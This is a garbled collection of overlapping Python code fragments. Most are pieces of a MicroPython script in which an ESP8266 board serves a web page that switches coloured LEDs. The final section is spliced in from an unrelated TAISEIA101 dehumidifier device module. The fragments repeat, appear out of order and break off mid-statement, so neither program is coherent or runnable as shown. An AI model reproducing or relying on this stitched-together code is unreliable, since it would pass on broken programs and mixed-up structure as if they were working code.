+ str(CMD_blue)) print(\"Data: \" + str(CMD_alloff)) if CMD_grean == 6:", "-*- u''' ****************************************************************************** * 文 件:WebControl.py * 概 述:Web页面控制设备 * 版 本:V0.10 *", "#建立一个实例 listenSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listenSocket.bind((ip,port)) #绑定建立网路连接的ip地址和端口 listenSocket.listen(5) #开始侦听 print ('等待TCP连接...') while True: print(\"连接中.....\")", "allOn() if CMD_red == 6: print('+red') redOnly() if CMD_blue == 6: print('+blue') blueOnly()", "日期 编辑 版本 记录 2018年5月8日 <NAME> V0.10 创建文件 ******************************************************************************''' from ESP8266.WIFI.httpcc import netConnect", "request.find('/?CMD=greenlight') #如果在请求的包中,发现有?CMD=greenlight,下同 CMD_allon = request.find('/?CMD=allon') CMD_red = request.find('/?CMD=redlight') CMD_blue = request.find('/?CMD=bluelight') CMD_alloff =", "本:V0.10 * 作 者:<NAME> * 日 期:2018年5月8日 * 历 史: 日期 编辑 版本", "blueOnly(): ledBlue.on() ledGrean.off() ledRed.off() # 全关 def allOff(): ledBlue.off() ledGrean.off() ledRed.off() port=80 listenSocket=None", "socket.SO_REUSEADDR, 1) listenSocket.bind((ip,port)) #绑定建立网路连接的ip地址和端口 listenSocket.listen(5) #开始侦听 print ('等待TCP连接...') while True: print(\"连接中.....\") conn, addr", "# 读取WEB页面代码文件 htmls = open(\"ESP8266/WIFI/httpcc/WebKZ.html\") html= htmls.read() #此处直接由文件读取,如果直接在此处写入页面代码,须使用 ''' ''' 将代码包含,否则无法显示 htmls.close() #Wemos", "coding: UTF-8 -*- u''' ****************************************************************************** * 文 件:WebControl.py * 概 述:Web页面控制设备 * 版", "html= htmls.read() #此处直接由文件读取,如果直接在此处写入页面代码,须使用 ''' ''' 将代码包含,否则无法显示 htmls.close() #Wemos Dpin to GPIO #D1->GPIO5 ----", "CMD_red = request.find('/?CMD=redlight') CMD_blue = request.find('/?CMD=bluelight') CMD_alloff = request.find('/?CMD=alloff') print(\"Data: \" + str(CMD_grean))", "概 述:Web页面控制设备 * 版 本:V0.10 * 作 者:<NAME> * 日 期:2018年5月8日 * 历", "print(\"已连接 %s\" % str(addr)) request = conn.recv(1024) print(\"内容: %s\" % str(request)) request =", "期:2018年5月8日 * 历 史: 日期 编辑 版本 记录 2018年5月8日 <NAME> V0.10 创建文件 ******************************************************************************'''", "* 文 件:WebControl.py * 概 述:Web页面控制设备 * 版 本:V0.10 * 作 者:<NAME> *", "redOnly(): ledBlue.off() ledGrean.off() ledRed.on() # 只亮蓝色 def blueOnly(): ledBlue.on() ledGrean.off() ledRed.off() # 全关", "# 只亮蓝色 def blueOnly(): ledBlue.on() ledGrean.off() ledRed.off() # 全关 def allOff(): ledBlue.off() ledGrean.off()", "str(CMD_grean)) print(\"Data: \" + str(CMD_allon)) print(\"Data: \" + str(CMD_red)) print(\"Data: \" + str(CMD_blue))", "版 本:V0.10 * 作 者:<NAME> * 日 期:2018年5月8日 * 历 史: 日期 编辑", "文 件:WebControl.py * 概 述:Web页面控制设备 * 版 本:V0.10 * 作 者:<NAME> * 日", "while True: print(\"连接中.....\") conn, addr = listenSocket.accept() print(\"已连接 %s\" % str(addr)) request =", "print('+blue') blueOnly() if CMD_alloff == 6: print('+alloff') allOff() response = html #将html的网页定义装载在回应字段 conn.send(response)", "= listenSocket.accept() print(\"已连接 %s\" % str(addr)) request = conn.recv(1024) print(\"内容: %s\" % str(request))", "import Pin # 读取WEB页面代码文件 htmls = open(\"ESP8266/WIFI/httpcc/WebKZ.html\") html= htmls.read() #此处直接由文件读取,如果直接在此处写入页面代码,须使用 ''' ''' 将代码包含,否则无法显示", "def greanOnly(): ledBlue.off() ledGrean.on() ledRed.off() # 全开 def allOn(): ledBlue.on() ledGrean.on() ledRed.on() #", "socket.socket() #建立一个实例 listenSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listenSocket.bind((ip,port)) #绑定建立网路连接的ip地址和端口 listenSocket.listen(5) #开始侦听 print ('等待TCP连接...') while True:", "Pin(14, Pin.OUT) # 蓝色 ledGrean = Pin(4, Pin.OUT) # 绿色 ledRed = Pin(5,", "CMD_allon = request.find('/?CMD=allon') CMD_red = request.find('/?CMD=redlight') CMD_blue = request.find('/?CMD=bluelight') CMD_alloff = request.find('/?CMD=alloff') print(\"Data:", "allOff(): ledBlue.off() ledGrean.off() ledRed.off() port=80 listenSocket=None ip=netConnect.wlan.ifconfig()[0] listenSocket = socket.socket() #建立一个实例 listenSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,", "Pin.OUT) # 蓝色 ledGrean = Pin(4, Pin.OUT) # 绿色 ledRed = Pin(5, Pin.OUT)", "print(\"Data: \" + str(CMD_grean)) print(\"Data: \" + str(CMD_allon)) print(\"Data: \" + str(CMD_red)) print(\"Data:", "<NAME> V0.10 创建文件 ******************************************************************************''' from ESP8266.WIFI.httpcc import netConnect # 此处引用为获取netConnect文件中的全局变量“wlan”。 import socket from", "request.find('/?CMD=alloff') print(\"Data: \" + str(CMD_grean)) print(\"Data: \" + str(CMD_allon)) print(\"Data: \" + str(CMD_red))", "def redOnly(): ledBlue.off() ledGrean.off() ledRed.on() # 只亮蓝色 def blueOnly(): ledBlue.on() ledGrean.off() ledRed.off() #", "CMD_red == 6: print('+red') redOnly() if CMD_blue == 6: print('+blue') blueOnly() if CMD_alloff", "to GPIO #D1->GPIO5 ---- 红色 #D2->GPIO4 ---- 绿色 #D5->GPIO14 ---- 蓝色 ledBlue =", "blueOnly() if CMD_alloff == 6: print('+alloff') allOff() response = html #将html的网页定义装载在回应字段 conn.send(response) #send到浏览器上,就形成了控制界面", "* 作 者:<NAME> * 日 期:2018年5月8日 * 历 史: 日期 编辑 版本 记录", "* 概 述:Web页面控制设备 * 版 本:V0.10 * 作 者:<NAME> * 日 期:2018年5月8日 *", "def allOff(): ledBlue.off() ledGrean.off() ledRed.off() port=80 listenSocket=None ip=netConnect.wlan.ifconfig()[0] listenSocket = socket.socket() #建立一个实例 listenSocket.setsockopt(socket.SOL_SOCKET,", "Pin.OUT) # 红色 # 只亮绿色 def greanOnly(): ledBlue.off() ledGrean.on() ledRed.off() # 全开 def", "CMD_grean = request.find('/?CMD=greenlight') #如果在请求的包中,发现有?CMD=greenlight,下同 CMD_allon = request.find('/?CMD=allon') CMD_red = request.find('/?CMD=redlight') CMD_blue = request.find('/?CMD=bluelight')", "Pin.OUT) # 绿色 ledRed = Pin(5, Pin.OUT) # 红色 # 只亮绿色 def greanOnly():", "print(\"Data: \" + str(CMD_allon)) print(\"Data: \" + str(CMD_red)) print(\"Data: \" + str(CMD_blue)) print(\"Data:", "\" + str(CMD_alloff)) if CMD_grean == 6: #如果此命令有效,下同 print('+grean') greanOnly() #调用仅点亮绿灯函数,下同 if CMD_allon", "# 此处引用为获取netConnect文件中的全局变量“wlan”。 import socket from machine import Pin # 读取WEB页面代码文件 htmls = open(\"ESP8266/WIFI/httpcc/WebKZ.html\")", "读取WEB页面代码文件 htmls = open(\"ESP8266/WIFI/httpcc/WebKZ.html\") html= htmls.read() #此处直接由文件读取,如果直接在此处写入页面代码,须使用 ''' ''' 将代码包含,否则无法显示 htmls.close() #Wemos Dpin", "ledRed.on() # 只亮蓝色 def blueOnly(): ledBlue.on() ledGrean.off() ledRed.off() # 全关 def allOff(): ledBlue.off()", "******************************************************************************''' from ESP8266.WIFI.httpcc import netConnect # 此处引用为获取netConnect文件中的全局变量“wlan”。 import socket from machine import Pin", "listenSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listenSocket.bind((ip,port)) #绑定建立网路连接的ip地址和端口 listenSocket.listen(5) #开始侦听 print ('等待TCP连接...') while True: print(\"连接中.....\") conn,", "from machine import Pin # 读取WEB页面代码文件 htmls = open(\"ESP8266/WIFI/httpcc/WebKZ.html\") html= htmls.read() #此处直接由文件读取,如果直接在此处写入页面代码,须使用 '''", "#绑定建立网路连接的ip地址和端口 listenSocket.listen(5) #开始侦听 print ('等待TCP连接...') while True: print(\"连接中.....\") conn, addr = listenSocket.accept() print(\"已连接", "1) listenSocket.bind((ip,port)) #绑定建立网路连接的ip地址和端口 listenSocket.listen(5) #开始侦听 print ('等待TCP连接...') while True: print(\"连接中.....\") conn, addr =", "#D5->GPIO14 ---- 蓝色 ledBlue = Pin(14, Pin.OUT) # 蓝色 ledGrean = Pin(4, Pin.OUT)", "\" + str(CMD_allon)) print(\"Data: \" + str(CMD_red)) print(\"Data: \" + str(CMD_blue)) print(\"Data: \"", "蓝色 ledBlue = Pin(14, Pin.OUT) # 蓝色 ledGrean = Pin(4, Pin.OUT) # 绿色", "ledBlue.on() ledGrean.on() ledRed.on() # 只亮红色 def redOnly(): ledBlue.off() ledGrean.off() ledRed.on() # 只亮蓝色 def", "述:Web页面控制设备 * 版 本:V0.10 * 作 者:<NAME> * 日 期:2018年5月8日 * 历 史:", "只亮红色 def redOnly(): ledBlue.off() ledGrean.off() ledRed.on() # 只亮蓝色 def blueOnly(): ledBlue.on() ledGrean.off() ledRed.off()", "u''' ****************************************************************************** * 文 件:WebControl.py * 概 述:Web页面控制设备 * 版 本:V0.10 * 作", "htmls = open(\"ESP8266/WIFI/httpcc/WebKZ.html\") html= htmls.read() #此处直接由文件读取,如果直接在此处写入页面代码,须使用 ''' ''' 将代码包含,否则无法显示 htmls.close() #Wemos Dpin to", "CMD_blue = request.find('/?CMD=bluelight') CMD_alloff = request.find('/?CMD=alloff') print(\"Data: \" + str(CMD_grean)) print(\"Data: \" +", "# 红色 # 只亮绿色 def greanOnly(): ledBlue.off() ledGrean.on() ledRed.off() # 全开 def allOn():", "socket from machine import Pin # 读取WEB页面代码文件 htmls = open(\"ESP8266/WIFI/httpcc/WebKZ.html\") html= htmls.read() #此处直接由文件读取,如果直接在此处写入页面代码,须使用", "= conn.recv(1024) print(\"内容: %s\" % str(request)) request = str(request) CMD_grean = request.find('/?CMD=greenlight') #如果在请求的包中,发现有?CMD=greenlight,下同", "= request.find('/?CMD=greenlight') #如果在请求的包中,发现有?CMD=greenlight,下同 CMD_allon = request.find('/?CMD=allon') CMD_red = request.find('/?CMD=redlight') CMD_blue = request.find('/?CMD=bluelight') CMD_alloff", "ledRed.on() # 只亮红色 def redOnly(): ledBlue.off() ledGrean.off() ledRed.on() # 只亮蓝色 def blueOnly(): ledBlue.on()", "== 6: print('+allon') allOn() if CMD_red == 6: print('+red') redOnly() if CMD_blue ==", "#如果在请求的包中,发现有?CMD=greenlight,下同 CMD_allon = request.find('/?CMD=allon') CMD_red = request.find('/?CMD=redlight') CMD_blue = request.find('/?CMD=bluelight') CMD_alloff = request.find('/?CMD=alloff')", "open(\"ESP8266/WIFI/httpcc/WebKZ.html\") html= htmls.read() #此处直接由文件读取,如果直接在此处写入页面代码,须使用 ''' ''' 将代码包含,否则无法显示 htmls.close() #Wemos Dpin to GPIO #D1->GPIO5", "htmls.close() #Wemos Dpin to GPIO #D1->GPIO5 ---- 红色 #D2->GPIO4 ---- 绿色 #D5->GPIO14 ----", "= Pin(5, Pin.OUT) # 红色 # 只亮绿色 def greanOnly(): ledBlue.off() ledGrean.on() ledRed.off() #", "print(\"Data: \" + str(CMD_red)) print(\"Data: \" + str(CMD_blue)) print(\"Data: \" + str(CMD_alloff)) if", "Pin(4, Pin.OUT) # 绿色 ledRed = Pin(5, Pin.OUT) # 红色 # 只亮绿色 def", "+ str(CMD_allon)) print(\"Data: \" + str(CMD_red)) print(\"Data: \" + str(CMD_blue)) print(\"Data: \" +", "== 6: print('+red') redOnly() if CMD_blue == 6: print('+blue') blueOnly() if CMD_alloff ==", "* 日 期:2018年5月8日 * 历 史: 日期 编辑 版本 记录 2018年5月8日 <NAME> V0.10", "''' 将代码包含,否则无法显示 htmls.close() #Wemos Dpin to GPIO #D1->GPIO5 ---- 红色 #D2->GPIO4 ---- 绿色", "作 者:<NAME> * 日 期:2018年5月8日 * 历 史: 日期 编辑 版本 记录 2018年5月8日", "port=80 listenSocket=None ip=netConnect.wlan.ifconfig()[0] listenSocket = socket.socket() #建立一个实例 listenSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listenSocket.bind((ip,port)) #绑定建立网路连接的ip地址和端口 listenSocket.listen(5)", "---- 绿色 #D5->GPIO14 ---- 蓝色 ledBlue = Pin(14, Pin.OUT) # 蓝色 ledGrean =", "= Pin(14, Pin.OUT) # 蓝色 ledGrean = Pin(4, Pin.OUT) # 绿色 ledRed =", "= str(request) CMD_grean = request.find('/?CMD=greenlight') #如果在请求的包中,发现有?CMD=greenlight,下同 CMD_allon = request.find('/?CMD=allon') CMD_red = request.find('/?CMD=redlight') CMD_blue", "= request.find('/?CMD=redlight') CMD_blue = request.find('/?CMD=bluelight') CMD_alloff = request.find('/?CMD=alloff') print(\"Data: \" + str(CMD_grean)) print(\"Data:", "str(addr)) request = conn.recv(1024) print(\"内容: %s\" % str(request)) request = str(request) CMD_grean =", "ledRed.off() port=80 listenSocket=None ip=netConnect.wlan.ifconfig()[0] listenSocket = socket.socket() #建立一个实例 listenSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listenSocket.bind((ip,port)) #绑定建立网路连接的ip地址和端口", "listenSocket=None ip=netConnect.wlan.ifconfig()[0] listenSocket = socket.socket() #建立一个实例 listenSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listenSocket.bind((ip,port)) #绑定建立网路连接的ip地址和端口 listenSocket.listen(5) #开始侦听", "listenSocket.listen(5) #开始侦听 print ('等待TCP连接...') while True: print(\"连接中.....\") conn, addr = listenSocket.accept() print(\"已连接 %s\"", "= request.find('/?CMD=alloff') print(\"Data: \" + str(CMD_grean)) print(\"Data: \" + str(CMD_allon)) print(\"Data: \" +", "def allOn(): ledBlue.on() ledGrean.on() ledRed.on() # 只亮红色 def redOnly(): ledBlue.off() ledGrean.off() ledRed.on() #", "redOnly() if CMD_blue == 6: print('+blue') blueOnly() if CMD_alloff == 6: print('+alloff') allOff()", "request = conn.recv(1024) print(\"内容: %s\" % str(request)) request = str(request) CMD_grean = request.find('/?CMD=greenlight')", "allOn(): ledBlue.on() ledGrean.on() ledRed.on() # 只亮红色 def redOnly(): ledBlue.off() ledGrean.off() ledRed.on() # 只亮蓝色", "print('+allon') allOn() if CMD_red == 6: print('+red') redOnly() if CMD_blue == 6: print('+blue')", "str(request)) request = str(request) CMD_grean = request.find('/?CMD=greenlight') #如果在请求的包中,发现有?CMD=greenlight,下同 CMD_allon = request.find('/?CMD=allon') CMD_red =", "ledRed.off() # 全开 def allOn(): ledBlue.on() ledGrean.on() ledRed.on() # 只亮红色 def redOnly(): ledBlue.off()", "6: #如果此命令有效,下同 print('+grean') greanOnly() #调用仅点亮绿灯函数,下同 if CMD_allon == 6: print('+allon') allOn() if CMD_red", "史: 日期 编辑 版本 记录 2018年5月8日 <NAME> V0.10 创建文件 ******************************************************************************''' from ESP8266.WIFI.httpcc import" ]
[ "text(cls, code): return '{} hr'.format(code) class DeviceHumidityCfgService(DeviceUint8Service): # HUMIDITY_CFG_RW = 0x03 class ParamCode(BaseObject):", "TEMPERATURE_R = 0x06 HUMIDITY_R = 0x07 FAN_DIRECTION_AUTO_RW = 0x08 FAN_DIRECTION_LEVEL_RW = 0x09 WATER_FULL_ALARM_R", "= 0x11 DISPLAY_ERR_R = 0x12 DEV_MILDEW_RW = 0x13 HUMIDITY_HIGH_NOTIFY_RW = 0x14 HUMIDITY_HIGH_CFG_RW =", "# FILTER_CLEAN_NOTIFY_RW = 0x0b class ParamCode(BaseObject): NORMAL = 0x00 CLEAN_NEED = 0x01 pass", "= 6 HR_8 = 8 HR_10 = 10 HR_12 = 12 @classmethod def", "0x16 REMOTE_CTRL_LOCK_RW = 0x17 SAA_CTRL_AUDIO_RW = 0x18 OP_CURRENT_R = 0x19 OP_VOLTAGE_R = 0x1a", "0x0e class DeviceSideFanRService(DeviceEnum16Service): # SIDE_FAN_R = 0x0f class ParamCode(BaseObject): NORMAL = 0x00 SIDE", "return '{} hr'.format(code) class DeviceHumidityCfgService(DeviceUint8Service): # HUMIDITY_CFG_RW = 0x03 class ParamCode(BaseObject): HUMI_40 =", "taiseia101.core import * logger = logging.getLogger(__name__) class Dehumidifier(GeneralDevice): dev_type = {'id': DeviceTypeCode.DEHUMIDIFIER, 'name':", "= 0x08 pass class DeviceFanDirectionLevelService(DeviceFeatureLevelService): # FAN_DIRECTION_LEVEL_RW = 0x09 pass class DeviceWaterFullAlarmRService(DeviceEnum16Service): #", "= 0x1e pass class DeviceErrHistory2RService(DeviceEnum16BitService): # ERR_HISTORY_2_R = 0x1f pass class DeviceErrHistory3RService(DeviceEnum16BitService): #", "class DeviceAudioService(DeviceEnum16Service): # AUDIO_RW = 0x10 class ParamCode(BaseObject): QUIET = 0x00 BUTTON =", "import * logger = logging.getLogger(__name__) class Dehumidifier(GeneralDevice): dev_type = {'id': DeviceTypeCode.DEHUMIDIFIER, 'name': 'DEHUMIDIFIER'}", "class DeviceErrHistory2RService(DeviceEnum16BitService): # ERR_HISTORY_2_R = 0x1f pass class DeviceErrHistory3RService(DeviceEnum16BitService): # ERR_HISTORY_3_R = 0x20", "%(name)s: %(message)s' logging.basicConfig(level=logging.DEBUG, format=FORMAT) dev_cls = Dehumidifier # dev_cls.print_service_cls_template() dev_obj = dev_cls() logger.info('{}'.format(dev_obj.device_detail(cmd_check_serv=False)))", "DeviceFanLevelService(DeviceFeatureLevelService): pass # FAN_LEVEL_RW = 0x0e class DeviceSideFanRService(DeviceEnum16Service): # SIDE_FAN_R = 0x0f class", "0x0f class ParamCode(BaseObject): NORMAL = 0x00 SIDE = 0x01 pass class DeviceAudioService(DeviceEnum16Service): #", "FAN_DIRECTION_AUTO_RW = 0x08 FAN_DIRECTION_LEVEL_RW = 0x09 WATER_FULL_ALARM_R = 0x0a FILTER_CLEAN_NOTIFY_RW = 0x0b MOOD_LED_RW", "ERR_HISTORY_4_R = 0x21 pass class DeviceErrHistory5RService(DeviceEnum16BitService): # ERR_HISTORY_5_R = 0x22 pass if __name__", "0x0a class ParamCode(BaseObject): NORMAL = 0x00 FULL = 0x01 pass class DeviceFilterCleanNotifyService(DeviceEnum16Service): #", "MOOD_LED_RW = 0x0c pass class DeviceAirCleanModeService(DeviceFeatureLevelService): # AIR_CLEAN_MODE_RW = 0x0d pass class DeviceFanLevelService(DeviceFeatureLevelService):", "# MOOD_LED_RW = 0x0c pass class DeviceAirCleanModeService(DeviceFeatureLevelService): # AIR_CLEAN_MODE_RW = 0x0d pass class", "class Dehumidifier(GeneralDevice): dev_type = {'id': DeviceTypeCode.DEHUMIDIFIER, 'name': 'DEHUMIDIFIER'} class ServiceCode(BaseObject): POWER_RW = 0x00", "FORMAT = '%(asctime)s [%(levelname)s] %(name)s: %(message)s' logging.basicConfig(level=logging.DEBUG, format=FORMAT) dev_cls = Dehumidifier # dev_cls.print_service_cls_template()", "DeviceMoodLedService(DeviceCommonOnOffService): # MOOD_LED_RW = 0x0c pass class DeviceAirCleanModeService(DeviceFeatureLevelService): # AIR_CLEAN_MODE_RW = 0x0d pass", "MOOD_LED_RW = 0x0c AIR_CLEAN_MODE_RW = 0x0d FAN_LEVEL_RW = 0x0e SIDE_FAN_R = 0x0f AUDIO_RW", "HR_4 = 4 HR_6 = 6 HR_8 = 8 HR_10 = 10 HR_12", "BUTTON = 0x01 WATER_FULL_BUTTON = 0x02 pass class DeviceDefrostDisplayRService(DeviceEnum16Service): # DEFROST_DISPLAY_R = 0x11", "class DeviceErrHistory5RService(DeviceEnum16BitService): # ERR_HISTORY_5_R = 0x22 pass if __name__ == '__main__': FORMAT =", "@classmethod def module_name(cls): return __name__ class DevicePowerService(DeviceCommonOnOffService): \"\"\" status off: 06,04,00,00,00,02 status on:", "0x20 ERR_HISTORY_4_R = 0x21 ERR_HISTORY_5_R = 0x22 # ENG_MODE = 0x50 # RESERVED", "0x01 pass class DeviceAudioService(DeviceEnum16Service): # AUDIO_RW = 0x10 class ParamCode(BaseObject): QUIET = 0x00", "# REMOTE_CTRL_LOCK_RW = 0x17 pass class DeviceSaaCtrlAudioService(DeviceCommonOnOffService): # SAA_CTRL_AUDIO_RW = 0x18 pass class", "8 HR_10 = 10 HR_12 = 12 @classmethod def text(cls, code): return '{}", "class DeviceFanDirectionAutoService(DeviceCommonOnOffService): # FAN_DIRECTION_AUTO_RW = 0x08 pass class DeviceFanDirectionLevelService(DeviceFeatureLevelService): # FAN_DIRECTION_LEVEL_RW = 0x09", "DeviceTotalWattService(DeviceUint16Service): # TOTAL_WATT_RW = 0x1d pass class DeviceErrHistory1RService(DeviceEnum16BitService): # ERR_HISTORY_1_R = 0x1e pass", "0x07 pass class DeviceFanDirectionAutoService(DeviceCommonOnOffService): # FAN_DIRECTION_AUTO_RW = 0x08 pass class DeviceFanDirectionLevelService(DeviceFeatureLevelService): # FAN_DIRECTION_LEVEL_RW", "0x0b class ParamCode(BaseObject): NORMAL = 0x00 CLEAN_NEED = 0x01 pass class DeviceMoodLedService(DeviceCommonOnOffService): #", "DeviceHumidityRService(DeviceUint8Service): # HUMIDITY_R = 0x07 pass class DeviceFanDirectionAutoService(DeviceCommonOnOffService): # FAN_DIRECTION_AUTO_RW = 0x08 pass", "AUTO = 0 CFG_DEHUMIDIFIER = 1 CONTINUE_DEHUMIDIFIER = 2 DRY_CLOTHE = 3 AIR_CLEAN", "= 0x02 class ParamCode(BaseObject): HR_1 = 1 HR_2 = 2 HR_4 = 4", "DeviceDryClotheLevelService(DeviceFeatureLevelService): # DRY_CLOTHE_LEVEL_RW = 0x05 pass class DeviceTemperatureRService(DeviceInt8Service): # TEMPERATURE_R = 0x06 pass", "0x19 pass class DeviceOpVoltageRService(DeviceUint16Service): # OP_VOLTAGE_R = 0x1a pass class DeviceOpPowerFactorRService(DeviceUint16Service): # OP_POWER_FACTOR_R", "HUMIDITY_CFG_RW = 0x03 class ParamCode(BaseObject): HUMI_40 = 40 HUMI_45 = 45 HUMI_50 =", "DeviceHumidityHighCfgService(DeviceUint8Service): # HUMIDITY_HIGH_CFG_RW = 0x15 pass class DeviceKeypadLockService(DeviceCommonOnOffService): # KEYPAD_LOCK_RW = 0x16 pass", "OP_POWER_FACTOR_R = 0x1b pass class DeviceOpPowerWattService(DeviceUint16Service): # OP_POWER_WATT_RW = 0x1c pass class DeviceTotalWattService(DeviceUint16Service):", "0x04 pass class DeviceDryClotheLevelService(DeviceFeatureLevelService): # DRY_CLOTHE_LEVEL_RW = 0x05 pass class DeviceTemperatureRService(DeviceInt8Service): # TEMPERATURE_R", "DeviceDisplayErrRService(DeviceEnum16BitService): # DISPLAY_ERR_R = 0x12 pass class DeviceDevMildewService(DeviceCommonOnOffService): # DEV_MILDEW_RW = 0x13 pass", "0x0c AIR_CLEAN_MODE_RW = 0x0d FAN_LEVEL_RW = 0x0e SIDE_FAN_R = 0x0f AUDIO_RW = 0x10", "CONTINUE_DEHUMIDIFIER = 2 DRY_CLOTHE = 3 AIR_CLEAN = 4 DEV_MILDEW = 5 FAN_ONLY", "HR_8 = 8 HR_10 = 10 HR_12 = 12 @classmethod def text(cls, code):", "= 70 HUMI_75 = 75 @classmethod def text(cls, code): return '{} %'.format(code) class", "10 HR_12 = 12 @classmethod def text(cls, code): return '{} hr'.format(code) class DeviceHumidityCfgService(DeviceUint8Service):", "DeviceErrHistory2RService(DeviceEnum16BitService): # ERR_HISTORY_2_R = 0x1f pass class DeviceErrHistory3RService(DeviceEnum16BitService): # ERR_HISTORY_3_R = 0x20 pass", "pass class DeviceOpCurrentRService(DeviceUint16Service): # OP_CURRENT_R = 0x19 pass class DeviceOpVoltageRService(DeviceUint16Service): # OP_VOLTAGE_R =", "= 4 HR_6 = 6 HR_8 = 8 HR_10 = 10 HR_12 =", "= 0x0d pass class DeviceFanLevelService(DeviceFeatureLevelService): pass # FAN_LEVEL_RW = 0x0e class DeviceSideFanRService(DeviceEnum16Service): #", "pass class DeviceAirCleanModeService(DeviceFeatureLevelService): # AIR_CLEAN_MODE_RW = 0x0d pass class DeviceFanLevelService(DeviceFeatureLevelService): pass # FAN_LEVEL_RW", "pass class DeviceOpPowerWattService(DeviceUint16Service): # OP_POWER_WATT_RW = 0x1c pass class DeviceTotalWattService(DeviceUint16Service): # TOTAL_WATT_RW =", "POWER_RW = 0x00 OP_MODE_RW = 0x01 OP_TIMER_RW = 0x02 HUMIDITY_CFG_RW = 0x03 DEHUMIDIFIER_LEVEL_RW", "0x1f ERR_HISTORY_3_R = 0x20 ERR_HISTORY_4_R = 0x21 ERR_HISTORY_5_R = 0x22 # ENG_MODE =", "def text(cls, code): return '{} %'.format(code) class DeviceDehumidifierLevelService(DeviceFeatureLevelService): # DEHUMIDIFIER_LEVEL_RW = 0x04 pass", "ParamCode(BaseObject): NORMAL = 0x00 SIDE = 0x01 pass class DeviceAudioService(DeviceEnum16Service): # AUDIO_RW =", "= 0x09 pass class DeviceWaterFullAlarmRService(DeviceEnum16Service): # WATER_FULL_ALARM_R = 0x0a class ParamCode(BaseObject): NORMAL =", "ParamCode(BaseObject): HR_1 = 1 HR_2 = 2 HR_4 = 4 HR_6 = 6", "DEV_MILDEW_RW = 0x13 HUMIDITY_HIGH_NOTIFY_RW = 0x14 HUMIDITY_HIGH_CFG_RW = 0x15 KEYPAD_LOCK_RW = 0x16 REMOTE_CTRL_LOCK_RW", "0x14 pass class DeviceHumidityHighCfgService(DeviceUint8Service): # HUMIDITY_HIGH_CFG_RW = 0x15 pass class DeviceKeypadLockService(DeviceCommonOnOffService): # KEYPAD_LOCK_RW", "OP_MODE_RW = 0x01 class ParamCode(BaseObject): AUTO = 0 CFG_DEHUMIDIFIER = 1 CONTINUE_DEHUMIDIFIER =", "FULL = 0x01 pass class DeviceFilterCleanNotifyService(DeviceEnum16Service): # FILTER_CLEAN_NOTIFY_RW = 0x0b class ParamCode(BaseObject): NORMAL", "= 0x06 HUMIDITY_R = 0x07 FAN_DIRECTION_AUTO_RW = 0x08 FAN_DIRECTION_LEVEL_RW = 0x09 WATER_FULL_ALARM_R =", "class ParamCode(BaseObject): AUTO = 0 CFG_DEHUMIDIFIER = 1 CONTINUE_DEHUMIDIFIER = 2 DRY_CLOTHE =", "# OP_MODE_RW = 0x01 class ParamCode(BaseObject): AUTO = 0 CFG_DEHUMIDIFIER = 1 CONTINUE_DEHUMIDIFIER", "= 0x0d FAN_LEVEL_RW = 0x0e SIDE_FAN_R = 0x0f AUDIO_RW = 0x10 DEFROST_DISPLAY_R =", "HUMIDITY_R = 0x07 FAN_DIRECTION_AUTO_RW = 0x08 FAN_DIRECTION_LEVEL_RW = 0x09 WATER_FULL_ALARM_R = 0x0a FILTER_CLEAN_NOTIFY_RW", "module_name(cls): return __name__ class DevicePowerService(DeviceCommonOnOffService): \"\"\" status off: 06,04,00,00,00,02 status on: 06,04,00,00,01,03 power", "= 0x15 pass class DeviceKeypadLockService(DeviceCommonOnOffService): # KEYPAD_LOCK_RW = 0x16 pass class DeviceRemoteCtrlLockService(DeviceEnum16BitService): #", "NORMAL = 0x00 SIDE = 0x01 pass class DeviceAudioService(DeviceEnum16Service): # AUDIO_RW = 0x10", "= 0x1f ERR_HISTORY_3_R = 0x20 ERR_HISTORY_4_R = 0x21 ERR_HISTORY_5_R = 0x22 # ENG_MODE", "TOTAL_WATT_RW = 0x1d ERR_HISTORY_1_R = 0x1e ERR_HISTORY_2_R = 0x1f ERR_HISTORY_3_R = 0x20 ERR_HISTORY_4_R", "HR_12 = 12 @classmethod def text(cls, code): return '{} hr'.format(code) class DeviceHumidityCfgService(DeviceUint8Service): #", "pass class DeviceHumidityHighNotifyService(DeviceCommonOnOffService): # HUMIDITY_HIGH_NOTIFY_RW = 0x14 pass class DeviceHumidityHighCfgService(DeviceUint8Service): # HUMIDITY_HIGH_CFG_RW =", "= 0x06 pass class DeviceHumidityRService(DeviceUint8Service): # HUMIDITY_R = 0x07 pass class DeviceFanDirectionAutoService(DeviceCommonOnOffService): #", "0x01 class ParamCode(BaseObject): AUTO = 0 CFG_DEHUMIDIFIER = 1 CONTINUE_DEHUMIDIFIER = 2 DRY_CLOTHE", "== '__main__': FORMAT = '%(asctime)s [%(levelname)s] %(name)s: %(message)s' logging.basicConfig(level=logging.DEBUG, format=FORMAT) dev_cls = Dehumidifier", "DEV_MILDEW_RW = 0x13 pass class DeviceHumidityHighNotifyService(DeviceCommonOnOffService): # HUMIDITY_HIGH_NOTIFY_RW = 0x14 pass class DeviceHumidityHighCfgService(DeviceUint8Service):", "pass class DeviceFilterCleanNotifyService(DeviceEnum16Service): # FILTER_CLEAN_NOTIFY_RW = 0x0b class ParamCode(BaseObject): NORMAL = 0x00 CLEAN_NEED", "FAN_LEVEL_RW = 0x0e SIDE_FAN_R = 0x0f AUDIO_RW = 0x10 DEFROST_DISPLAY_R = 0x11 DISPLAY_ERR_R", "on: 06,04,00,00,01,03 power on: 06,04,80,00,01,83 power off: 06,04,80,00,00,82 \"\"\" # POWER_RW = 0x00", "power off: 06,04,80,00,00,82 \"\"\" # POWER_RW = 0x00 class DeviceOpModeService(DeviceEnum16Service): # OP_MODE_RW =", "= 2 DRY_CLOTHE = 3 AIR_CLEAN = 4 DEV_MILDEW = 5 FAN_ONLY =", "0x16 pass class DeviceRemoteCtrlLockService(DeviceEnum16BitService): # REMOTE_CTRL_LOCK_RW = 0x17 pass class DeviceSaaCtrlAudioService(DeviceCommonOnOffService): # SAA_CTRL_AUDIO_RW", "def text(cls, code): return '{} hr'.format(code) class DeviceHumidityCfgService(DeviceUint8Service): # HUMIDITY_CFG_RW = 0x03 class", "0x06 